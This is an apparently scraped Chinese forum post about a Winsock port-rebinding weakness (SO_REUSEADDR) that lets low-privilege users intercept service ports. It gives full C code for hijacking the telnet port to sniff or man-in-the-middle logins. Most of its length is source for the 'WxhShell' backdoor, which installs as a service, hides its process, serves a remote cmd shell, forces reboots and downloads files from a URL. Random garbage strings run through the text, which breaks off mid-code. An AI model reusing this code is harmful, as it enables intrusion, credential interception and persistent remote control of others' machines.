在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|6aJwe+*
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>c<pDNt? z
v>Oh# saddr.sin_family = AF_INET;
-."kq.m* ?WQNIX4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5F2_xH$5 ?v:ZU~i bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
SxJ$b lwc5S`" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
T-'~? [v # ly@;!M 这意味着什么?意味着可以进行如下的攻击:
F$Hx`hoy }Dn^d}?s|| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g+xw$A ou 8-m
3e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
afHaB/t{R ef=K_,
_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`5q
;ssu `1Zhq+s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Q$~n/ ]dSK
wxk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
qTT,U9]: (luKn&826 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
F30
]
7{e=="#* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
LH2PTW\b!6 7\ypW $Ot #include
K B!5u 9 #include
9xFO]Y" #include
{hQ6K)s #include
$d/&k` DWORD WINAPI ClientThread(LPVOID lpParam);
(CJ.BHu] int main()
; Y"N6% {
e4`uVq5 WORD wVersionRequested;
Ql %qQZV DWORD ret;
paW@\1Q WSADATA wsaData;
rv>^TR*,! BOOL val;
fKHE;A*>% SOCKADDR_IN saddr;
S{#cD1>. SOCKADDR_IN scaddr;
S QY"OBo<e int err;
C3XmK}h SOCKET s;
+/rH(Ni SOCKET sc;
Qd
&"BEs int caddsize;
Pm+tQ HANDLE mt;
H={&3poBz DWORD tid;
UG;Y^?Ppe5 wVersionRequested = MAKEWORD( 2, 2 );
jjzA .8?(7 err = WSAStartup( wVersionRequested, &wsaData );
At6qtoPRA if ( err != 0 ) {
nXA\|c0 printf("error!WSAStartup failed!\n");
B=Ym x2A9] return -1;
?wb+L }
k|YWOy@D~ saddr.sin_family = AF_INET;
amWD-0V $w#r"= ) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$HJTj29/ lFSe?X^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
EH*o"N`!r saddr.sin_port = htons(23);
B@y(. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3;[DJ5 {
&?,6~qm[ printf("error!socket failed!\n");
lrWQOYf2 return -1;
G:W>I=^DaR }
BvD5SBa}" val = TRUE;
_>m-AI4^ //SO_REUSEADDR选项就是可以实现端口重绑定的
o%E;3l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ccFn.($p?, {
\x{;U#B[3> printf("error!setsockopt failed!\n");
O81X;JdP3 return -1;
+rXF{@
l }
Ih}1%Jq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b5G}3)'w //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
fvq,,@23 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8~lIe:F- )E#2J$TD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/93l74.w {
3REx45M2 ret=GetLastError();
ulFzZHJ printf("error!bind failed!\n");
"syh=BC
v return -1;
*l+OlQI0+ }
U9y|>P\)T listen(s,2);
xo}b=
v while(1)
ltB.Q {
dy__e ^qi caddsize = sizeof(scaddr);
m([(:.X/IX //接受连接请求
}9HmTr| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
TL$EV>Nr if(sc!=INVALID_SOCKET)
6VP`evan {
[H<bh% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{5r0v#; if(mt==NULL)
#`TgZKDg2 {
NcOPL\ printf("Thread Creat Failed!\n");
X,aYK;q%z break;
1OLqL }
).` S/F }
zya5Jb:Sg CloseHandle(mt);
`@d<n }
YJg,B\z} closesocket(s);
Hs?e0Z=N WSACleanup();
H1GRMDNXOA return 0;
]M/9#mD9~ }
&cWjEx DWORD WINAPI ClientThread(LPVOID lpParam)
!Cgx. {
l0&EZN0V2 SOCKET ss = (SOCKET)lpParam;
^,l_{ SOCKET sc;
S##1GOO unsigned char buf[4096];
a?|vQ*W SOCKADDR_IN saddr;
[ EFMu;q long num;
6u`F
d# DWORD val;
}bN%u3mHws DWORD ret;
iwz //如果是隐藏端口应用的话,可以在此处加一些判断
nJ4@I7Sk; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
QB.J,o*XD4 saddr.sin_family = AF_INET;
CT0l!J~5m~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
/>'V!iWyz saddr.sin_port = htons(23);
1O].v&{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}X
GEX:1K {
o"wXIHUmV printf("error!socket failed!\n");
H&r,FmI@ return -1;
m)V/L]4 }
D=:04V}2+ val = 100;
,+`61J3W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#;n+YM">: {
M"%Q&o/I ret = GetLastError();
~~/xRs return -1;
i)#:qAtP* }
Rqwzh@} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b:qY gg {
dKl^jsd ret = GetLastError();
,-x!$VqS return -1;
=rdY
@ }
7t,t` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
G-9iowS/A {
"V{yi!D{< printf("error!socket connect failed!\n");
n wI!O closesocket(sc);
v]__%_ closesocket(ss);
q+B&orp return -1;
Y#!h9F }
cA6lge<{~ while(1)
%OgS^_tu {
cyxuK*x< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qY\f'K}Q* //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y>jiXl?&
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
d #jK=:eK num = recv(ss,buf,4096,0);
.z13 =yv if(num>0)
099sN"kf send(sc,buf,num,0);
s=?g \oR else if(num==0)
=]3tUD break;
9&RFO$WH num = recv(sc,buf,4096,0);
hHqh{:q{v if(num>0)
wP"dZagpj send(ss,buf,num,0);
;S xFp else if(num==0)
czlFr|O; break;
sgE-`# }
8w({\= closesocket(ss);
=@F&o4) r closesocket(sc);
AkOO)0 return 0 ;
m7T)m0 }
{BHI1Uw \QU^>23 *%KKNT'* ==========================================================
$ cj>2. ja=F 7Usb 下边附上一个代码,,WXhSHELL
)}9rwZ ioPUUUb) ==========================================================
m|OO,gR RmZ]"
` #include "stdafx.h"
y\{%\ $ !'LW_@ #include <stdio.h>
IHRGw #include <string.h>
O{ /q-~_ #include <windows.h>
I@\OaUGr+ #include <winsock2.h>
1
hg}(Hix #include <winsvc.h>
UwC=1g U #include <urlmon.h>
0Ia($.1mY imiR/V>N #pragma comment (lib, "Ws2_32.lib")
1yqJwy;X #pragma comment (lib, "urlmon.lib")
sUE?v9 |F#1C9]P #define MAX_USER 100 // 最大客户端连接数
=~p>`nV #define BUF_SOCK 200 // sock buffer
9(":,M(/o #define KEY_BUFF 255 // 输入 buffer
s=42uKz
^eoLAL #define REBOOT 0 // 重启
fA89|NTSUh #define SHUTDOWN 1 // 关机
LY+|[qka zRPeNdX #define DEF_PORT 5000 // 监听端口
yv)ux:P&+ P (S>=,Y& #define REG_LEN 16 // 注册表键长度
wb~@7,D #define SVC_LEN 80 // NT服务名长度
@Vu(XG '}Ri` // 从dll定义API
;t+ub8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
t]Xw{)T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Uk\Id~xLV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DfKr[cqLM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
V%Sy"IG ^i:B+
rl // wxhshell配置信息
cp o-. struct WSCFG {
0:b2(^]bg int ws_port; // 监听端口
,*7d char ws_passstr[REG_LEN]; // 口令
}K3x int ws_autoins; // 安装标记, 1=yes 0=no
R"K#7{p9 char ws_regname[REG_LEN]; // 注册表键名
IUwm}9Q! char ws_svcname[REG_LEN]; // 服务名
ZI=v.wa char ws_svcdisp[SVC_LEN]; // 服务显示名
MR}Agu#LG char ws_svcdesc[SVC_LEN]; // 服务描述信息
JY6
Qp char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q~T$N int ws_downexe; // 下载执行标记, 1=yes 0=no
)&!&AlLn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
RZ+`T+zL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
%dY<=x#b Xn{1 FJX/ };
+!|9hF' F+u|HiYG // default Wxhshell configuration
:>=\. \ struct WSCFG wscfg={DEF_PORT,
-a-(r'Qc( "xuhuanlingzhe",
I(XOE$3 1,
f%*/cpA) "Wxhshell",
]9@F~) "Wxhshell",
? YG)I;( "WxhShell Service",
!50[z: "Wrsky Windows CmdShell Service",
S9#)A-> "Please Input Your Password: ",
cb}[S:&| 1,
>FkWH7 "
http://www.wrsky.com/wxhshell.exe",
Ih"XV "Wxhshell.exe"
$ ,
u+4h };
Q@HopiC {E8~Z8tT // 消息定义模块
^(FdXGs[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
hq #?kN char *msg_ws_prompt="\n\r? for help\n\r#>";
lg&t8FHa; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
OE- gC2&Bm char *msg_ws_ext="\n\rExit.";
&Udb9 char *msg_ws_end="\n\rQuit.";
5^x1cUB] char *msg_ws_boot="\n\rReboot...";
p }~qf char *msg_ws_poff="\n\rShutdown...";
{lc\,F* $ char *msg_ws_down="\n\rSave to ";
%ALwz[~] ^cuc.g)c$? char *msg_ws_err="\n\rErr!";
qXwPDq/ char *msg_ws_ok="\n\rOK!";
\7'+h5a \QCJ4}\CS char ExeFile[MAX_PATH];
^RI?ybDd int nUser = 0;
VF ys.= HANDLE handles[MAX_USER];
~
(jKz}'~U int OsIsNt;
gp\<p-} K9up:.{QQ SERVICE_STATUS serviceStatus;
uwy:t!(j SERVICE_STATUS_HANDLE hServiceStatusHandle;
RtM8yar+sn {Sj9%2'M) // 函数声明
Ptdpj)oi&Q int Install(void);
2V#>)R#k int Uninstall(void);
s|y "WDyx5 int DownloadFile(char *sURL, SOCKET wsh);
+O?KNZ int Boot(int flag);
q}?4f*WC void HideProc(void);
]%u@TK7 int GetOsVer(void);
P`cq H(
int Wxhshell(SOCKET wsl);
XMu9 Uk{| void TalkWithClient(void *cs);
7x%R:^*4 int CmdShell(SOCKET sock);
pz.JWCU1 int StartFromService(void);
oc >{?.^ int StartWxhshell(LPSTR lpCmdLine);
R1$:~p2m #6HA\dE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M# %a(Y3K) VOID WINAPI NTServiceHandler( DWORD fdwControl );
ia+oX~W!VR o9dY9o+Z // 数据结构和表定义
DBr
ZzA SERVICE_TABLE_ENTRY DispatchTable[] =
2OVRf0.R~ {
2`N,, {wscfg.ws_svcname, NTServiceMain},
Eu@huN*/ {NULL, NULL}
8&qZ0GLaT };
&keR~~/ j~jV'f.:H // 自我安装
$m-2HhqZ int Install(void)
#PH~1`vl {
_8F`cuyW char svExeFile[MAX_PATH];
U`NjPZe5^ HKEY key;
g'n7T|h
~ strcpy(svExeFile,ExeFile);
zv\kPfGDK ,NyY>~+ // 如果是win9x系统,修改注册表设为自启动
E^/t$M|H if(!OsIsNt) {
@] DVD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/)}q Xx& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`-J%pEIza RegCloseKey(key);
R5-@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j2StXq3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q=Sgk>NA RegCloseKey(key);
%4,O 2\0?& return 0;
7'W%blg!V }
5A3xVN= }
<oT^ A|JFj }
/-_h1.! else {
\F/hMXDlJ L\xk:j1[ // 如果是NT以上系统,安装为系统服务
( u\._Gwsx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
AQ,'
6F9 if (schSCManager!=0)
:toh0oB[ {
l3Q(TH ~I SC_HANDLE schService = CreateService
#~2%) (
p6#g;$V$ schSCManager,
_/-jX wscfg.ws_svcname,
Oj3.q#)`Z wscfg.ws_svcdisp,
P3x= 8_# SERVICE_ALL_ACCESS,
_VRpI)mu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1{ ~#H<K SERVICE_AUTO_START,
P2BWuhF SERVICE_ERROR_NORMAL,
8*#R]9 svExeFile,
ODNM+#}` NULL,
;=eDO(Ij NULL,
Z<1FSk,[ NULL,
-D NULL,
fk6%XO NULL
aQ?/%\> );
AN8`7F1 if (schService!=0)
O`x;,6Vr {
1 d}Z(My CloseServiceHandle(schService);
;qafT@
}C CloseServiceHandle(schSCManager);
I7 |Pi[e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
LtWP0@JA strcat(svExeFile,wscfg.ws_svcname);
([\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#%iDT6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
);
!eow RegCloseKey(key);
[YF>:ydk return 0;
+Mo9kC }
2&:f&" }
X^}I-M%{m CloseServiceHandle(schSCManager);
*}F3M\ }
/32Fy`KV }
TyD4|| % $2oTkOA return 1;
jaTh^L }
cs,N <| sT 3^hY7 // 自我卸载
fxgPhnaC> int Uninstall(void)
p `8s {
rq8K_zp HKEY key;
Uol|9F [w>$QR if(!OsIsNt) {
B8.Pn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cv-PRH# RegDeleteValue(key,wscfg.ws_regname);
1->dMm}G[ RegCloseKey(key);
,X[ktz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9oRy)_5Z(= RegDeleteValue(key,wscfg.ws_regname);
_X^1IaL RegCloseKey(key);
`slL%j^" return 0;
]e"=$2d$ }
D"Bl:W'?j }
CY
4gSe? }
5gb|w\N> else {
y?[ v=j*U 7]U"Z* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4,bv)Im+ ` if (schSCManager!=0)
,0~^>K {
bZnuNYty75 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(|[2J3ZET if (schService!=0)
9A/\h3HrJ {
oz,np@f)J if(DeleteService(schService)!=0) {
chcbd
y>C CloseServiceHandle(schService);
~+Rc}K CloseServiceHandle(schSCManager);
N+m)/x
=: return 0;
oiF}?:7Q7 }
RHaI ~jb CloseServiceHandle(schService);
WQ~;;.v# }
X@$f$= CloseServiceHandle(schSCManager);
X\`_3= }
k52/w)Ro,$ }
^`*9QjY (X $=Q6 return 1;
m4TE5q% 3 }
%z/hf _K`wG}YIE // 从指定url下载文件
1{r3#MVL int DownloadFile(char *sURL, SOCKET wsh)
9 %8"e>~ {
!9u|fnC9 HRESULT hr;
8e*,jH3 char seps[]= "/";
%b%-Ogz;4 char *token;
OglEt[ " char *file;
)T/0S$@ char myURL[MAX_PATH];
~T ]m>A! char myFILE[MAX_PATH];
tR}MrM E.r>7`E strcpy(myURL,sURL);
j.C`U(n}` token=strtok(myURL,seps);
J,V9k[88 while(token!=NULL)
!g?|9 {
I
CZ4A{I file=token;
$Wjww-mx token=strtok(NULL,seps);
>7wOoK|1' }
PpGL/,]X ]Uw<$!$-]s GetCurrentDirectory(MAX_PATH,myFILE);
!Nu<xq@! strcat(myFILE, "\\");
<A[E:*`* strcat(myFILE, file);
SHvq.lYJ send(wsh,myFILE,strlen(myFILE),0);
L;
T8?+ x send(wsh,"...",3,0);
:j5n7s?&=y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
2VF%@p if(hr==S_OK)
qd9c I& return 0;
?5U2D%t else
, R'@%,/ return 1;
~J5+i9T.) iocI:b< }
NS9B[*"Jl hhSy0 // 系统电源模块
l\BVS) int Boot(int flag)
iDN;m`a {
k]W[` HANDLE hToken;
3 ,>0a TOKEN_PRIVILEGES tkp;
g3Ec"_>P :@kGAI if(OsIsNt) {
\X<bH&x:z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\[BK1JP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Wc,_RN- tkp.PrivilegeCount = 1;
@xQgY*f# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
` BDLW%aL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P1zKsY,l$< if(flag==REBOOT) {
r^h4z`:L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
'Hc-~l>D return 0;
.EpV;xq} }
UUSq$~Ct else {
K2he4< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&/mA7Vf>eR return 0;
-c(F 1l }
xHoKo }
y@ ML/9X8q else {
0rh]]kj if(flag==REBOOT) {
SLO%7%>p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>QA uEM return 0;
-0?~ }
J+[_Wd else {
MA;1;uI, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4/mig0"N. return 0;
W;_nK4$%' }
q+P|l5_
t }
~}F{vm KQacoUHrK? return 1;
I'PeN0T
f }
Lk~ho?^` NZ;{t\ // win9x进程隐藏模块
="x\`+U void HideProc(void)
+hn+K1 {
W)9K`hM6 }xBc0gr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
+lJG(Qd if ( hKernel != NULL )
/3;4#:Kkw {
Xg<*@4RD8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
j]*j}%hz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%{YN70/ FreeLibrary(hKernel);
$SM#< @ }
K/A*<<r
~ Z^V6K3GSz- return;
XD |E=s }
n9@ of x8Retuv // 获取操作系统版本
0|2%vh >J int GetOsVer(void)
'6Ay&A3N] {
()K " c# OSVERSIONINFO winfo;
.{ 44a$) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D_/^+H]1 GetVersionEx(&winfo);
At flf2 K if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8CnRi return 1;
!6s"]WvF else
@kk4]:,w return 0;
]04e1F1J }
yyv8gH { T4 // 客户端句柄模块
:>D[n1v int Wxhshell(SOCKET wsl)
4D['^q {
R&|mdY8 SOCKET wsh;
0GB:GBhZ struct sockaddr_in client;
xZ|Y?R5m DWORD myID;
NG YhOlxON while(nUser<MAX_USER)
rA2g& {
GDu~d<R H int nSize=sizeof(client);
nA
P.^_K wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
A;/-u<f if(wsh==INVALID_SOCKET) return 1;
@fs`=lL/ B*4}GPQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
v-yde>( if(handles[nUser]==0)
$ "E).j closesocket(wsh);
w;k):;$ else
xEf'Bmebk nUser++;
0$7s^?G0 }
mjWU0Gh%* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
66.5QD0 G
16!eDMt return 0;
kqce[hgs< }
C0S^h<iSe* Z9575CI< // 关闭 socket
BT)X8>ct void CloseIt(SOCKET wsh)
.so[I {
Vs%|pIV closesocket(wsh);
z "+Mrew nUser--;
M7ers|&{ ExitThread(0);
Ga# :P F0 }
pGf@z:^{*- uL3Eq>~x // 客户端请求句柄
)RO<o O void TalkWithClient(void *cs)
UB 6mqjPK {
n|b5? 3 87:!C5e} SOCKET wsh=(SOCKET)cs;
6oLwfTy char pwd[SVC_LEN];
O!Oumw,$ char cmd[KEY_BUFF];
K4]g[z char chr[1];
6B@CurgB int i,j;
dbOdq 9lGOWRxR) while (nUser < MAX_USER) {
Qu}W/j|3 ax{ ;:fW if(wscfg.ws_passstr) {
3&6#F"7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FBpH21|/y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7\f\!e < //ZeroMemory(pwd,KEY_BUFF);
?p(/_@ i=0;
rAs,X while(i<SVC_LEN) {
LJOr!rWi G7)Fk%> // 设置超时
RjWqGr;bO fd_set FdRead;
6I!7c^]t struct timeval TimeOut;
8me ]JRw FD_ZERO(&FdRead);
9*E7}b, FD_SET(wsh,&FdRead);
e|&6$A>4] TimeOut.tv_sec=8;
oyNSh8c7c TimeOut.tv_usec=0;
B Ce|is0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
K-f1{ 0 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
x5QaM.+=J F29va if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
\mw(cM#: pwd
=chr[0]; Gg~QAsks
if(chr[0]==0xd || chr[0]==0xa) { j6
pwd=0; MY/3]g<
break; <c%W")0
} Hewd4k
i++; NM0tp )h
} t9Y=m6
"Vr[4&`
// 如果是非法用户,关闭 socket cZ(elZ0~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GEEW?8
} Fe.t/amS/
8ZCo c5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P ~#>H{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lip[n;Ir>
xS7$%w['
while(1) { N<QjdD&
gqR)IVk>%
ZeroMemory(cmd,KEY_BUFF); q~@]W=
I+!:K|^
// 自动支持客户端 telnet标准 iA0q_( \X
j=0; Fbu5PWhlc
while(j<KEY_BUFF) { C-8qj>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k{V E1@
cmd[j]=chr[0]; '{[5M!B
if(chr[0]==0xa || chr[0]==0xd) { Ja SI^go
cmd[j]=0; .`7cBsXH
break; {8R"O{
} +rIL|c}J
j++; ifo7%XPcg
} kGL1!=>
XxDaz1
// 下载文件 2DB7+aZ*
if(strstr(cmd,"http://")) { G[8in
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wZ4tCZA
if(DownloadFile(cmd,wsh)) /B5-Fx7j3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6G}+gqbX
else vsL[*OeI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lc_E!"1
} Kf 2jD4z}
else { i/b'4o=8
ork=`};
switch(cmd[0]) { '+
xu#R
^m/14 MN|
// 帮助 $5L0.$Tj
case '?': { X[2[!)Rk
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \m=?xb8
f
break; A~Xq,BxCV
} BYY RoE[P
// 安装 l88A=iLgv
case 'i': { U$H@ jJ*
if(Install()) ,Rx{yf]k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >a1{397Y}
else 4t/&.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JlKM+UE:
break; ]I/Vb s
} QQe;1O
// 卸载 N~g:Wf!
case 'r': { O)kgBrB
if(Uninstall()) XhdSFxW}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xnuzr"4u
else DFO7uw1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0F#>CmD
break; cL8#S>>u.
} _MWM;f`b
// 显示 wxhshell 所在路径 ^). )
case 'p': { m,')&{Rd
char svExeFile[MAX_PATH]; i)Lp7m z
strcpy(svExeFile,"\n\r"); s cdtWA
strcat(svExeFile,ExeFile); *2}O-e
send(wsh,svExeFile,strlen(svExeFile),0); /D_+{dtE
break; !3oKmL5
} 'SLE;_TD
// 重启 7n)&FXK`
case 'b': { 7ou46v|m5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wFlvi=n/
if(Boot(REBOOT)) ;Qi }{;+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|J'>)
else { ni
closesocket(wsh); 2JmZ{
ExitThread(0); u)Q;8$`
} # x>g a
break; Ip}Vb6}
} 5&CDHc7Oj
// 关机 t ]c{c#N/
case 'd': { ]%RNA:(F'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4c~>ci,N?(
if(Boot(SHUTDOWN)) nzX@:7g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g^kx(p<u`
else { ^TXf sQs
closesocket(wsh); {OT:3SS7
ExitThread(0); d~ng6pA
} WW@"Z}?k
break; e=/&(Y
} BbJkdt7
// 获取shell K8^kJSF\
case 's': { 1'6cGpZY
CmdShell(wsh); $e\N+~KNCy
closesocket(wsh); 7Tf]:4Y"
ExitThread(0); <XQ.A3SG!
break; =OTm2:j#yQ
} d]0a%Xh[
// 退出 Cd#E"dY6
case 'x': { z&nZ<ih
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \tJFAc
CloseIt(wsh); (UEXxUdQ_Q
break; oB c@]T5>
} !)Ni dG
// 离开 Uhh
l3%p
case 'q': { F=@i6ERi
send(wsh,msg_ws_end,strlen(msg_ws_end),0); i4Z4xTn
closesocket(wsh); ){Mu~P
WSACleanup(); 'bW5Fr>W
exit(1); sDiHXDI_m
break; ;Fl<v@9
} Q]JX`HgPaU
} e`UQz$4!
}
&LQ%
K <`>O,
F
// 提示信息 1]4^V7y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~o15#Pfn/
} *07sK1wW
} *FgJ|y6gk
}HZ{(?
return; J?712=9
} R"6;NPeo
Iz\1~
// shell模块句柄 E)YVfM
int CmdShell(SOCKET sock) W3pQ?
{ <O857j
STARTUPINFO si; ^)\+l%M
ZeroMemory(&si,sizeof(si)); Px4/O~bLk
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]EL\)xCr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \aSz2lxEHn
PROCESS_INFORMATION ProcessInfo; ]A:( L9
char cmdline[]="cmd"; +g\;bLT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x*8O*!ZZ
return 0; Enj_tJs
} -}<g-*m"q
&IQ%\W#aY
// 自身启动模式 yFeeG3n3
int StartFromService(void) E/O5e(h
{ jUY+3"?
typedef struct <f%/px%1
{ wGXwzU
DWORD ExitStatus; v}`1)BUeF
DWORD PebBaseAddress; }: #dV
B+
DWORD AffinityMask; #8?^C]*{0
